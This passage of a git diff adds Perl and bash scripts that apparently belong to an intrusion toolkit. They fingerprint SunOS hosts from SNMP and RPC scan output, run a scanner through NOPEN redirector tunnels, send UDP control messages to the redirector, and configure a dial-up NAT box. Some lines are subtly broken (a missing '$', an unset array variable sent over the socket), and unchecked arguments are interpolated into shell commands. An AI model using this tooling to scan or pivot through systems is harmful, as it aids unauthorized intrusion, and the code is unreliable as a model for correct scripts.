"$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + #print "$resultValue\n"; + $resultValue =~ /\s+(\S+)\s+(\d+).*\s+load:\s+(.*)/; + chomp($hostname = $1); + chomp($userson = $2); + chomp($load = $3); + $load =~ s/ //g ; + $returnvalue = "" if (! $returnvalue); + $returnvalue = "$hostname" if (length $hostname) ; + $returnvalue .= "+$userson users" if (length $userson) ; + $returnvalue .= "+load=$load" if (length $load) ; + } + } + } + elsif (($wantgs) && (($typeName eq "snmp1") || ($typeName eq "snmp2") || ($typeName eq "mibiisa"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + foreach $line (@lines){ + #print "$line\n"; + $bool = "yes" if ($line =~ /\/.*(snmpd|mibiisa)/i) ; + $bool .= " -r " if (/mibiisa.* -r/); + $ver = "SunOS $1" if ($line =~ /SunOS\s+(\S+)\s/i) ; + chomp($platform = $1) if ($line =~ /Sun SNMP Agent,\s+(.*)/i) ; + $returnvalue = "" ; + $returnvalue .= "$bool " if (length $bool) ; + $returnvalue .= "$ver" if (length $ver) ; + $returnvalue .= "$ver2" if (length $ver2) ; + $returnvalue .= " $platform" if (length $platform) ; + } + } + } + } + elsif (($wantsunos) && (($typeName eq "snmp1") || ($typeName eq "snmp2") || ($typeName eq "brpc"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + foreach $line (@lines){ + $gotsunos = ($line =~ /program version netid address service owner/ ); + chomp($ver = $1) if ($line =~ /Sun SNMP Agent,\s+(.*)/i) ; + chomp($ver = $1) if ($line =~ /SunOS\s+(\S+)\s/i) ; + if (line =~ /\d+\s+\d+\s+\w+\s+\S+\s+\S*(sol)[ \-]{0,1}(\d+)/i) { + ($ver,$rev) = (lc $1,$2); + $returnvalue = "${ver}2.$rev+" if $rev > $maxrev ; + $maxrev = $rev if $rev >= $maxrev ; + } + $returnvalue = $ver unless $returnvalue ; + $returnvalue = "Sol2.4+" if ($gotsunos and ! $returnvalue) ; + } + } + } + } + } + print "$returnvalue\n" if(($getall)&& ($returnvalue)); + } +} + +if(($findips)){ + foreach $item (keys %scanlist){ + print "$item\n"; + } + exit; +} +if(($returnvalue)&&(! $getall)){ + print "$returnvalue\n"; +} +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + diff --git a/Linux/bin/jscan b/Linux/bin/jscan new file mode 100755 index 0000000..2edd0dd --- /dev/null +++ b/Linux/bin/jscan @@ -0,0 +1,193 @@ +#!/usr/bin/perl + +use Socket; +use IO::Select; +my $list; +my $scanth = ""; +#$jscanpath = $ENV{JSCANPATH}; +$nopen = $ENV{NOPEN_MYPID}; +$rhost = $ENV{NOPEN_RHOSTNAME}; +$scandir = "/current/down/cmdout/jscans"; +if($nopen ne "" ){print"*$nopen*\n";} +$jscanpath = "/current/bin/jscanner_pkg"; + +#// Parsing for some key options in the command line given to jscan to spawn jscanner +# This was eliminated on 04/12/2005 due to the fact that a fix in jscanner made +# this unneccessary +$ARGC = scalar(@ARGV); +#print "ARGC: $ARGC\n"; +#for($i = $ARGC; $i > 0; $i--){ +# #print "@ARGV[$i]\n"; +# if(@ARGV[$i] =~ /\d+\.\d+\.\d+\.\d+/){ +# $i--; +# $scantype = @ARGV[$i]; +# #print "$scantype\n"; +# $grep = `grep protocol $jscanpath/scantypes/$scantype.xml`; +# if($grep =~ /(.*)<\/protocol>/){ +# #print "PROT: $1\n"; +# $protocol = $1; +# if($protocol =~ /tcp/i){ +# $timeout = 35000; +# } +# } +# } +#} + +# Added 04/12/2005 +# This section is meant to accomidate the possibility of using the word +# one at the end of a command line to signify that you expect only one +# UDP response from this connection, therefore making the scan quicker. +my $last = $ARGV[$ARGC-1]; +#print "last: $last\n"; +if($last =~ /one/){ + $scanth = $scanth . " -u 1"; + $ARGV[$ARGC-1] = ""; +} + +# This section will look for redirection and storage location information before pasing to nopen. +while (@ARGV){ + $ARGV = shift @ARGV; +# print $ARGV; +# print "\n"; + if($ARGV eq "-ri"){ +# check if redirection address given + $list = $list . " " . $ARGV; + $raddress = shift @ARGV; + $list = $list . " " . $raddress; +# print "raddress: "; +# print $raddress; +# print "\n"; + } + elsif($ARGV eq "-rc"){ # check if redirection control port given + $list = $list . " " . $ARGV; + $rcontrol = shift @ARGV; + $list = $list . " " . $rcontrol; + `echo "$rcontrol" > $optbin/.tunnelport`; +# print "rcontrol: "; +# print $rcontrol; +# print "\n"; + } + elsif($ARGV eq "-rp"){ +# check if redirection port given + $list = $list . " " . $ARGV; + $rport = shift @ARGV; + $list = $list . " " . $rport; +# print "rport: "; +# print $rport; +# print "\n"; + } + elsif($ARGV eq "-s"){ +# check if number of Max Scan Threads is set + $scanthreads = shift @ARGV; +# print "scanthreads: "; +# print $scanthreads; +# print "\n"; + } + elsif($ARGV eq "-o"){ +# check if scan output directory is changed + $output = shift @ARGV; +# print "scanthreads: "; +# print $scanthreads; +# print "\n"; + } + elsif($ARGV eq "-t"){ + $timeo = shift @ARGV; + if ($timeo > $timeout){ + $timeout = $timeo; + } + } + else{ + $list = $list . " " . $ARGV; + } +} +# if redirecting set max scan threads to 1 +if(($raddress) && ($rcontrol)){ + $scanth = $scanth . " -s 1 "; +} +elsif($scanthreads){# otherwise set max scan threads if set on command line + $scanth = $scanth . " -s " . $scanthreads; +} +# if running through nopen set scan output directory to shown below +if($nopen ne "" ){ + if($rhost ne ""){ + $scanth = $scanth . " -p $scandir.$rhost"; + } + else{ + $scanth = $scanth . " -p $scandir"; + } +} +elsif($output){ +# otherwise set scan output directory if set on command line + $scanth = $scanth . " -p " . $output; +} +if($timeout){ + $scanth .= " -t $timeout"; +} + +#print "$list\n"; +sleep 1; +chdir "$jscanpath"; +if (-e "jscanner.jar") +{ + print "java -jar jscanner.jar$scanth$list\n"; + print "\n"; + print `java -jar jscanner.jar$scanth$list`; + print "\n"; +} +else +{ + print "./jscan.pl$scanth$list\n"; + print "\n"; + print `./jscan.pl$scanth$list`; + print "\n"; +} +#print "*$rhost*\n"; +if($rhost ne ""){ + #print "cp -R $scandir.$rhost/* $scandir/\n"; + if (! -d $scandir) + { + `mkdir -p $scandir`; + } + print `cp -R $scandir.$rhost/* $scandir/`; +} +#if redirecting close out control channel +if(($raddress) && ($rcontrol)){ + socket($sock, AF_INET, SOCK_DGRAM, getprotobyname("udp")) + or die "socket: $!\n"; + $destaddr = sockaddr_in($rcontrol, inet_aton($raddress)); + $resp = ""; + my $select; + + $count = send($sock, "q\n", 0, $destaddr) + or die "send: $!\n"; + $count = recv($sock, $resp, 4, 0) + or die "recv: $!\n"; + # print "$resp\n"; + $select=new IO::Select(); + $select->add($sock); + while (@canRead=$select->can_read(1)) { + recv($sock, $resp, 1000, 0); + } + if(! ($resp =~ /^\[q\]/ )){ + $count = send($sock, "c 1 2 3 4 5 6 7 8 9\n", 0, $destaddr) + or die "send: $!\n"; + } + $s = 5; + while (! ($resp =~ /^\[q\]/ )) + { + sleep($s); + $count = send($sock, "q\n", 0, $destaddr) + or die "send: $!\n"; + $count = recv($sock, $resp, 4, 0) + or die "recv: $!\n"; + # print "$resp\n"; + $select=new IO::Select(); + $select->add($sock); + while (@canRead=$select->can_read(1)) { + recv($sock, $resp, 1000, 0); + } + $s = $s * 2; + } + #print "$count \n"; + close($sock); +} diff --git a/Linux/bin/jscan.stun b/Linux/bin/jscan.stun new file mode 100755 index 0000000..8914132 --- /dev/null +++ b/Linux/bin/jscan.stun @@ -0,0 +1,117 @@ +#!/usr/bin/perl + +use Socket; +use IO::Select; +close(STDOUT); +if(fork()){exit 1;} + +my $list; +my $scanth = ""; +$jscanpath = $ENV{JSCANPATH}; +$nopen = $ENV{NOPEN_MYPID}; +$rhost = $ENV{NOPEN_RHOSTNAME}; +$scandir = "/current/down/cmdout/jscans"; +if($nopen ne "" ){warn"*$nopen*\n";} +$jscanpath = "/current/bin/jscanner_pkg"; + +#// Parsing for some key options in the command line given to jscan to spawn jscanner +$timeout = 35; +while (@ARGV){ + $ARGV = shift @ARGV; +# warn $ARGV; +# warn "\n"; + if($ARGV eq "-ri"){ +# check if redirection address given + $list = $list . " " . $ARGV; + $raddress = shift @ARGV; + $list = $list . " " . $raddress; +# warn "raddress: "; +# warn $raddress; +# warn "\n"; + } + elsif($ARGV eq "-rc"){ +# check if redirection control port given + $list = $list . " " . $ARGV; + $rcontrol = shift @ARGV; + $list = $list . " " . $rcontrol; + `echo "$rcontrol" > $optbin/.tunnelport`; +# warn "rcontrol: "; +# warn $rcontrol; +# warn "\n"; + } + elsif($ARGV eq "-rp"){ +# check if redirection port given + $list = $list . " " . $ARGV; + $rport = shift @ARGV; + $list = $list . " " . $rport; +# warn "rport: "; +# warn $rport; +# warn "\n"; + } + elsif($ARGV eq "-s"){ +# check if number of Max Scan Threads is set + $scanthreads = shift @ARGV; +# warn "scanthreads: "; +# warn $scanthreads; +# warn "\n"; + } + elsif($ARGV eq "-o"){ +# check if scan output directory is changed + $output = shift @ARGV; +# warn "scanthreads: "; +# warn $scanthreads; +# warn "\n"; + } + elsif($ARGV eq "-t"){ +# check if timeout is set at the command line + $timeo = shift @ARGV; + if($timeo > $timeout){ + $timeout = $timeo; + } + } + else{ + $list = $list . " " . $ARGV; + } +} + +# if redirecting set max scan threads to 1 +if(($raddress) && ($rcontrol)){ + $scanth = $scanth . " -s 1 "; +} +elsif($scanthreads){# otherwise set max scan threads if set on command line + $scanth = $scanth . " -s " . $scanthreads; +} +# if running through nopen set scan output directory to shown below +if($nopen ne "" ){ + if($rhost ne ""){ + $scanth = $scanth . " -p $scandir.$rhost"; + } + else{ + $scanth = $scanth . " -p $scandir"; + } +} +elsif($output){# otherwise set scan output directory if set on command line + $scanth = $scanth . " -p " . $output; +} +if($timeout){ + $timeout = $timeout * 1000; + $scanth .= " -t $timeout"; +} + +#warn "$list\n"; +sleep 1; +chdir "$jscanpath"; +warn "java -jar jscanner.jar$scanth$list\n"; +warn "\n"; +warn `java -jar jscanner.jar$scanth$list`; +warn "\n"; +#warn "*$rhost*\n"; +if($rhost ne ""){ + #warn "cp -R $scandir.$rhost/* $scandir/\n"; + if (! -d $scandir) + { + `mkdir -p $scandir`; + } + `cp -R $scandir.$rhost/* $scandir/`; +} + diff --git a/Linux/bin/jscan.sutun b/Linux/bin/jscan.sutun new file mode 100755 index 0000000..a9f2a8c --- /dev/null +++ b/Linux/bin/jscan.sutun @@ -0,0 +1,127 @@ +#!/usr/bin/perl + +use Socket; +use IO::Select; +close(STDOUT); +if(fork()){exit 1;} + +my $list; +my $scanth = ""; +#$jscanpath = $ENV{JSCANPATH}; +$nopen = $ENV{NOPEN_MYPID}; +$rhost = $ENV{NOPEN_RHOSTNAME}; +$scandir = "/current/down/cmdout/jscans"; +if($nopen ne "" ){warn"*$nopen*\n";} +$jscanpath = "/current/bin/jscanner_pkg"; + +#// Parsing for some key options in the command line given to jscan to spawn jscanner + +while (@ARGV){ + $ARGV = shift @ARGV; +# warn $ARGV; +# warn "\n"; + if($ARGV eq "-ri"){ +# check if redirection address given + $list = $list . " " . $ARGV; + $raddress = shift @ARGV; + $list = $list . " " . $raddress; +# warn "raddress: "; +# warn $raddress; +# warn "\n"; + } + elsif($ARGV eq "-rc"){ +# check if redirection control port given + $list = $list . " " . $ARGV; + $rcontrol = shift @ARGV; + $list = $list . " " . $rcontrol; + `echo "$rcontrol" > $optbin/.tunnelport`; +# warn "rcontrol: "; +# warn $rcontrol; +# warn "\n"; + } + elsif($ARGV eq "-rp"){ +# check if redirection port given + $list = $list . " " . $ARGV; + $rport = shift @ARGV; + $list = $list . " " . $rport; +# warn "rport: "; +# warn $rport; +# warn "\n"; + } + elsif($ARGV eq "-s"){ +# check if number of Max Scan Threads is set + $scanthreads = shift @ARGV; +# warn "scanthreads: "; +# warn $scanthreads; +# warn "\n"; + } + elsif($ARGV eq "-o"){ +# check if scan output directory is changed + $output = shift @ARGV; +# warn "scanthreads: "; +# warn $scanthreads; +# warn "\n"; + } + elsif($ARGV eq "-t"){ +# check if timeout is set at the command line + $timeo = shift @ARGV; + if($timeo > $timeout){ + $timeout = $timeo; + } + } + else{ + $list = $list . " " . $ARGV; + } +} + +# if redirecting set max scan threads to 1 +if(($raddress) && ($rcontrol)){ + $scanth = $scanth . " -s 1 "; +} +elsif($scanthreads){# otherwise set max scan threads if set on command line + $scanth = $scanth . " -s " . $scanthreads; +} +# if running through nopen set scan output directory to shown below +if($nopen ne "" ){ + if($rhost ne ""){ + $scanth = $scanth . " -p $scandir.$rhost"; + } + else{ + $scanth = $scanth . " -p $scandir"; + } +} +elsif($output){# otherwise set scan output directory if set on command line + $scanth = $scanth . " -p " . $output; +} +if($timeout){ + $timeout = $timeout * 1000; + $scanth .= " -t $timeout"; +} + +#warn "$list\n"; +sleep 1; +chdir "$jscanpath"; +warn "java -jar jscanner.jar$scanth$list\n"; +warn "\n"; +warn `java -jar jscanner.jar$scanth$list`; +warn "\n"; +#warn "*$rhost*\n"; +if($rhost ne ""){ + #warn "cp -R $scandir.$rhost/* $scandir/\n"; + if (! -d $scandir) + { + `mkdir -p $scandir`; + } + `cp -R $scandir.$rhost/* $scandir/`; +} +#if redirecting close out control channel +if(($raddress) && ($rport)){ + socket($sock, AF_INET, SOCK_DGRAM, getprotobyname("udp")); + $destaddr = sockaddr_in($rport, inet_aton($raddress)); + @ee = (); + for($i = 0; $i < 128; $i++){ + push @ee, 0xEE; + } + $count = send($sock, $ee, 0, $destaddr); + close($sock); +} diff --git a/Linux/bin/jscanner b/Linux/bin/jscanner new file mode 100755 index 0000000..2edd0dd --- /dev/null +++ b/Linux/bin/jscanner @@ -0,0 +1,193 @@ +#!/usr/bin/perl + +use Socket; +use IO::Select; +my $list; +my $scanth = ""; +#$jscanpath = $ENV{JSCANPATH}; +$nopen = $ENV{NOPEN_MYPID}; +$rhost = $ENV{NOPEN_RHOSTNAME}; +$scandir = "/current/down/cmdout/jscans"; +if($nopen ne "" ){print"*$nopen*\n";} +$jscanpath = "/current/bin/jscanner_pkg"; + +#// Parsing for some key options in the command line given to jscan to spawn jscanner +# This was eliminated on 04/12/2005 due to the fact that a fix in jscanner made +# this unneccessary +$ARGC = scalar(@ARGV); +#print "ARGC: $ARGC\n"; +#for($i = $ARGC; $i > 0; $i--){ +# #print "@ARGV[$i]\n"; +# if(@ARGV[$i] =~ /\d+\.\d+\.\d+\.\d+/){ +# $i--; +# $scantype = @ARGV[$i]; +# #print "$scantype\n"; +# $grep = `grep protocol $jscanpath/scantypes/$scantype.xml`; +# if($grep =~ /(.*)<\/protocol>/){ +# #print "PROT: $1\n"; +# $protocol = $1; +# if($protocol =~ /tcp/i){ +# $timeout = 35000; +# } +# } +# } +#} + +# Added 04/12/2005 +# This section is meant to accomidate the possibility of using the word +# one at the end of a command line to signify that you expect only one +# UDP response from this connection, therefore making the scan quicker. +my $last = $ARGV[$ARGC-1]; +#print "last: $last\n"; +if($last =~ /one/){ + $scanth = $scanth . " -u 1"; + $ARGV[$ARGC-1] = ""; +} + +# This section will look for redirection and storage location information before pasing to nopen. +while (@ARGV){ + $ARGV = shift @ARGV; +# print $ARGV; +# print "\n"; + if($ARGV eq "-ri"){ +# check if redirection address given + $list = $list . " " . $ARGV; + $raddress = shift @ARGV; + $list = $list . " " . $raddress; +# print "raddress: "; +# print $raddress; +# print "\n"; + } + elsif($ARGV eq "-rc"){ # check if redirection control port given + $list = $list . " " . $ARGV; + $rcontrol = shift @ARGV; + $list = $list . " " . $rcontrol; + `echo "$rcontrol" > $optbin/.tunnelport`; +# print "rcontrol: "; +# print $rcontrol; +# print "\n"; + } + elsif($ARGV eq "-rp"){ +# check if redirection port given + $list = $list . " " . $ARGV; + $rport = shift @ARGV; + $list = $list . " " . $rport; +# print "rport: "; +# print $rport; +# print "\n"; + } + elsif($ARGV eq "-s"){ +# check if number of Max Scan Threads is set + $scanthreads = shift @ARGV; +# print "scanthreads: "; +# print $scanthreads; +# print "\n"; + } + elsif($ARGV eq "-o"){ +# check if scan output directory is changed + $output = shift @ARGV; +# print "scanthreads: "; +# print $scanthreads; +# print "\n"; + } + elsif($ARGV eq "-t"){ + $timeo = shift @ARGV; + if ($timeo > $timeout){ + $timeout = $timeo; + } + } + else{ + $list = $list . " " . $ARGV; + } +} +# if redirecting set max scan threads to 1 +if(($raddress) && ($rcontrol)){ + $scanth = $scanth . " -s 1 "; +} +elsif($scanthreads){# otherwise set max scan threads if set on command line + $scanth = $scanth . " -s " . $scanthreads; +} +# if running through nopen set scan output directory to shown below +if($nopen ne "" ){ + if($rhost ne ""){ + $scanth = $scanth . " -p $scandir.$rhost"; + } + else{ + $scanth = $scanth . " -p $scandir"; + } +} +elsif($output){ +# otherwise set scan output directory if set on command line + $scanth = $scanth . " -p " . $output; +} +if($timeout){ + $scanth .= " -t $timeout"; +} + +#print "$list\n"; +sleep 1; +chdir "$jscanpath"; +if (-e "jscanner.jar") +{ + print "java -jar jscanner.jar$scanth$list\n"; + print "\n"; + print `java -jar jscanner.jar$scanth$list`; + print "\n"; +} +else +{ + print "./jscan.pl$scanth$list\n"; + print "\n"; + print `./jscan.pl$scanth$list`; + print "\n"; +} +#print "*$rhost*\n"; +if($rhost ne ""){ + #print "cp -R $scandir.$rhost/* $scandir/\n"; + if (! -d $scandir) + { + `mkdir -p $scandir`; + } + print `cp -R $scandir.$rhost/* $scandir/`; +} +#if redirecting close out control channel +if(($raddress) && ($rcontrol)){ + socket($sock, AF_INET, SOCK_DGRAM, getprotobyname("udp")) + or die "socket: $!\n"; + $destaddr = sockaddr_in($rcontrol, inet_aton($raddress)); + $resp = ""; + my $select; + + $count = send($sock, "q\n", 0, $destaddr) + or die "send: $!\n"; + $count = recv($sock, $resp, 4, 0) + or die "recv: $!\n"; + # print "$resp\n"; + $select=new IO::Select(); + $select->add($sock); + while (@canRead=$select->can_read(1)) { + recv($sock, $resp, 1000, 0); + } + if(! ($resp =~ /^\[q\]/ )){ + $count = send($sock, "c 1 2 3 4 5 6 7 8 9\n", 0, $destaddr) + or die "send: $!\n"; + } + $s = 5; + while (! ($resp =~ /^\[q\]/ )) + { + sleep($s); + $count = send($sock, "q\n", 0, $destaddr) + or die "send: $!\n"; + $count = recv($sock, $resp, 4, 0) + or die "recv: $!\n"; + # print "$resp\n"; + $select=new IO::Select(); + $select->add($sock); + while (@canRead=$select->can_read(1)) { + recv($sock, $resp, 1000, 0); + } + $s = $s * 2; + } + #print "$count \n"; + close($sock); +} diff --git a/Linux/bin/lan b/Linux/bin/lan new file mode 100755 index 0000000..3ae2995 --- /dev/null +++ b/Linux/bin/lan @@ -0,0 +1,190 @@ +#!/bin/bash +# +# Configures the nat box for operation +# +# Source function library. +NC_IP_PORT=2 +NC_ISP_PORT=3 +TCPDUMP_FILE=/tmp/tcpdump_output +IP_FILE=/tmp/ip_address +ISP_FILE=/tmp/isp_info + +. /etc/rc.d/init.d/functions + +flush () +{ + /sbin/iptables -P INPUT ACCEPT + /sbin/iptables -P FORWARD ACCEPT + /sbin/iptables -P OUTPUT ACCEPT + + # + # reset the default policies in the nat table. + # + /sbin/iptables -t nat -P PREROUTING ACCEPT + /sbin/iptables -t nat -P POSTROUTING ACCEPT + /sbin/iptables -t nat -P OUTPUT ACCEPT + + # + # flush all the rules in the filter and nat tables. + # + /sbin/iptables -F + /sbin/iptables -t nat -F + + # + # erase all chains that's not default in filter and nat table. + # + /sbin/iptables -X + /sbin/iptables -t nat -X + + # + # zero the packet and byte counters in all chains + # + /sbin/iptables -Z + /sbin/iptables -t nat -Z +} + +usage() +{ + echo "Use: {phone|lan} {start|stop|restart|reload|status} {lan:ip}" + echo "example: lan start 192.168.1.1" + echo "example: lan stop" + echo "example: phone start" + echo "example: phone stop" + echo "ip address will be stored in $IP_FILE" + echo "isp information will be stored in $ISP_FILE" + echo "tcpdump output will be stored in $TCPDUMP_FILE" +} + +if [ ! -f /etc/ppp/ip-up.local ] +then + echo 'missing ip-up.local' + exit 1 +fi + +if [ $# -lt 1 ] +then + usage + exit 1 +fi + +# +# See how we were called. +# + +case `basename $0` in + phone) + case "$1" in + start) + echo -n " +Starting wvdial (see vi xterm just started): " + /usr/X11R6/bin/xterm -e /usr/local/sbin/setupisp & + + until [ "`ifconfig ppp0 2>/dev/null | grep addr`" -o ! "`ps -ef | grep setupisp | grep -v grep`" ] + do + sleep 1 + done + echo "" + [ "`ifconfig ppp0 2>/dev/null | grep addr`" ] || exit + echo_success + echo "" + #following no longer needed without separate dial/op boxes + #/usr/bin/nc -l -p $NC_ISP_PORT < $ISP_FILE + + IP=`/sbin/ifconfig ppp0 | grep "inet addr:" | cut -f2 -d":" | cut -f1 -d" "` + echo ${IP} > ${IP_FILE} + #following no longer needed without separate dial/op boxes + #/usr/bin/nc -l -p ${NC_IP_PORT} < ${IP_FILE} & + + echo "Your IP is ${IP}" + if [ ! "`route -n | grep "^0.0.0.0" | grep ppp0`" ] ; then + [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING + echo "You have no default route to ppp0!!" + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + echo -n "Do you want to set default to ppp0? [Y] " + read ans + if [ ! "$ans" -o "$ans" = "y" -o "$ans" = "Y" ] ; then + route del default + route add default ppp0 + echo "OK. Route added" + netstat -rn + else + echo "OK. not adding route. good luck" + fi + fi +# echo 'Starting nat' +# /usr/local/sbin/nat_start ppp0 +# /usr/local/sbin/ids_start start ppp0 ${IP} ${TCPDUMP_FILE} + exit 0 + ;; + stop) + echo -n "stopping nc" + #kill -9 `pidofproc /usr/bin/nc` + killproc /usr/bin/nc + echo +# echo 'Stopping nat' +# flush +# /usr/local/sbin/ids_start stop ${TCPDUMP_FILE} + echo -n 'Stopping pppd: ' + killproc pppd + echo + ;; + reload|restart) + ${0} stop + ${0} start + ;; + status) + /usr/local/sbin/ids_start status + ;; + *) + usage + exit 1 + esac + ;; + lan) + case "$1" in + start) + echo "option deprecated..." + exit 1 + if [ $# -ne 2 ] + then + echo 'You must at least specify an IP address when starting on a lan.' + usage + exit 1 + fi + echo ${2} > ${IP_FILE} + #/usr/bin/nc -l -p ${NC_IP_PORT} < ${IP_FILE} & + + echo 'configuring lan' + /bin/bash /usr/local/sbin/nat_scrubhands ${2} + echo 'Starting nat' + /usr/local/sbin/nat_start eth0 + /usr/local/sbin/ids_start start eth0 ${2} ${TCPDUMP_FILE} + ;; + stop) + echo "option deprecated..." + exit 1 + echo -n 'stopping nc' + killproc /usr/bin/nc + echo + echo 'Stopping nat' + flush + /usr/local/sbin/ids_start stop ${TCPDUMP_FILE} + ;; + reload|restart) + $0 stop + $0 start + ;; + status) + /usr/local/sbin/ids_start status + ;; + *) + usage + exit 1 + esac + ;; + *) + usage + exit 1 +esac + +exit 0 diff --git a/Linux/bin/lss b/Linux/bin/lss new file mode 100755 index 0000000..36cdd74 --- /dev/null +++ b/Linux/bin/lss @@ -0,0 +1,393 @@ +#!/usr/bin/env perl +$VER="1.15.2.6"; +# =============== +# 05 SEP 2013 +# Year was wrong with this format: Sep 04 14:18 2013 +# =============== +# 28 FEB 2011 +# fixed bug: Missed years embedded in a line like this: Fri Feb 18 12:12:43 EST 2011: anchorpig. +# =============== +# 08 FEB 2008 +# fixed bug: last bugfix introduced a new one. It found the bad YYYY at the end of the line first, +# ignoring the one IMMEDIATELY after the time. Duh. +# =============== +# 14 JAN 2008 +# fixed bug: bogus year in line like this: +# 985401141611:738096 692 -rw-r--r-- 1 root root 700212 Jan 14 16:11 /current/down/script.19854 +# =============== +# 09 NOV 2007 +# fixed bug: lost the year in input like this: Fri Nov 9 13:58:24 EST 2007 +# (because of the EST). Now the year may be the first or second word after the timestamp. +# =============== +# 10 JUN 2003 +# added -r option - like -s but newest first +# -s is now default and ignored. -S shuts off sorting. +# =============== +# 08 OCT 2002 +# added -d option - directory entries not printed +# =============== +# 20 JULY 2002 +# fixed bug - /tmp/.lss$$ files not being wiped with unlink... +# =============== +# 23 May 2002 +# added -v and invalid option now terminates. +# usage now prints error before and after usagetext +# =============== +# 28 feb 2002 +# added -z option +# =============== +# 07 jan 2002 +# +# now also allows for both time and year on same line, in that order, +# a la nopen's -ls: +# +# eliminated bug where "Out" was a valid month--now must be in %nummon +# +# +# Following from `man ls`: +# If the file is a special file, the size +# field instead contains the major and minor device +# numbers. If the time of last modification is +# greater than six months ago, it is shown in the +# format `month date year' for the POSIX locale. +# When the LC_TIME locale category is not set to the +# POSIX locale, a different format of the time field +# may be used. Files modified within six months show +# `month date time'. +# =============== +# Aug 24 1999 >> time arbitrarily set to 0800 +# +# look for timestamp in STDIN lines like any of: +# Mar 28 00:31 >> assume year = +# 1:year of file's mod time or year-1 if a filename is +# given as argument and date found in line is within +# six months before that time +# 2:current year if no filename on command line (STDIN) +# + +myinit(); + +#print STDERR "Using base time of $basetimestr for files not showing any year.\n\n"; +#sleep 1; + +$opt_C = 1 if ( $opt_c + $opt_C == 0 ); +$sizesum = 0; +while (<>) { + # i.e. STDIN if redirected, file name on command line otherwise +#dbg("LINE=$_="); + $count = $opt_c + $opt_C; + $rest = $_; + $origline = $_ ; + while ($count-- > 0) { + $matched = ($strmon,$day,$yearortime,$rest) = $rest =~ + /([ADFJMNOS][aceopu][bcglnprtvy])\s*([0-9]+)\s+([0-9:]*)\s+(.*)/ ; + $yearortime =~ s,:+$,,; +# dbg(" +#matched $matched = ($strmon, + #$day, + #YYEARORTIME=$yearortime=, + #REST=$rest=) +#"); +#sleep 2; + } + # checks for Jan|Feb|Mar|Apr|etc... + # next line omits things like "Out" + if ($matched == 4 && $nummon{$strmon}) { + $nummon = $nummon{$strmon} + 1; + $nummon = &numpadto($nummon,2); + $day = &numpadto($day,2); + if ($yearortime =~ /(\d{4})($|:)/) { + $year = $1; + $time = "00:01"; + } elsif (! ($yearortime =~ /\d{4}/) and $rest =~ /^\s*(\d{4})($|\D)/) { + $year = $1; + $time = $yearortime; + } else { + undef $year; + #dbg("post undef y=$y= year=$year yearortime=$yearortime"); + $time = $yearortime; + my $y = ""; + $y = $1 if ($rest =~ /\D(\d{4})(\D|$)/i); +#dbg("y2=$y="); + unless ($y) { + $y = $1 if ($rest =~ /^(\d{4})(\D|$)/i); + } + #dbg("post undef y=$y= year=$year yearortime=$yearortime"); + +#dbg("y0=$y="); + unless ($y) { + $y = $1 if ($rest =~ /\D(\d{4})(\D|$)/i); +#dbg("y1=$y="); + } + my $ind = index($rest,$y); + #dbg("year starts as $year--maybe year=$1? ind=$ind or maybe y=$y=?"); +#dbg("matched $matched tokens ($strmon,$day,$yearortime,$rest) and $nummon{$strmon} gives us month number $nummon"); + # If this match is not too far from the time and + # not unreasonable (fine, so we're not Y3K complient....sue me + #dbg("index(\$rest,$1) is ".scalar index($rest,$1)); + if ($ind >= 0 and $ind < 10 and $y < 3000) { + $year = $y; +#dbg("year is now $year"); + } +#dbg("$strmon=$nummon $day $time $year"); + if (! $year) { + # need to compute $year here... + if ($nummon <= $basemonnum) { + $year = $baseyear; + } else { + $year = $baseyear - 1; + } + } + } + ($hr,$min) = $time =~ /(\d\d):(\d\d)/; + $hr = &numpadto($hr,2); + $min = &numpadto($min,2); + #$sec = "00"; + $nopenls = / \| [^|]* \| [^|]* \| [^|]* \|/ ; + if ( $opt_c ) { + $opt_c == 1 && s/ \| ([^|]*) \| [^|]* \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 2 && s/ \| [^|]* \| ([^|]*) \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 3 && s/ \| [^|]* \| [^|]* \| ([^|]*) \|[^\/]*/ \1 / ; + my $what = $1 ; + s/$1$1/$1/ ; # some have dupes if from cmdout files + if ($nopenls) { + $origline =~ + s/ \| ([^|]*) \| ([^|]*) \| ([^|]*) \|/ \|m $1 \|a $2 \|c $3 \|/ ; + print OUT2 "$year$nummon$day$hr$min:$origline" if ($out2); + } + } + unless ($nodirs and /d([rsS-][wsS-][xsStTlL-]){3} /) { + print "$year$nummon$day$hr$min:$_" unless ($opt_c == 1 and ! $nopenls); + } + if ($dosize) { + s/ \| / /g; + $matched = ($type,$size) = + /^(.).*\s+(\d*)\s+[ADFJMNOS][aceopu][bcglnprtvy]\s+\d+\s+/ ; + # Here we count only type "-", so no dirs, no links, special files, etc. + $sizesum += $size if ($matched and $type eq "-"); + } + } + # This block understands tar -tvf format, e.g.: + # -rwxr-x--- root/root 28232 2005-12-16 16:57:01 ./path/to/file + elsif ($matched = ($year,$nummon,$day,$hr,$min,$sec) = + /\s(\d{4})\-(\d{2})\-(\d{2})\s+(\d{2}):(\d{2})(:(\d{2})){0,1}\s/) { + print "$year$nummon$day$hr$min:$_" unless ($opt_c == 1 and ! $nopenls); + } else { + print "000000000000:$_" if (! $omit); + } +}#while(<>) + +if ( $sort ) { + select(STDOUT) ; + close(OUT) ; + my $r = "-r" if $reverse ; + open(IN,"sort $r -k 1,12 < /tmp/.lss$$ |") || die "can't 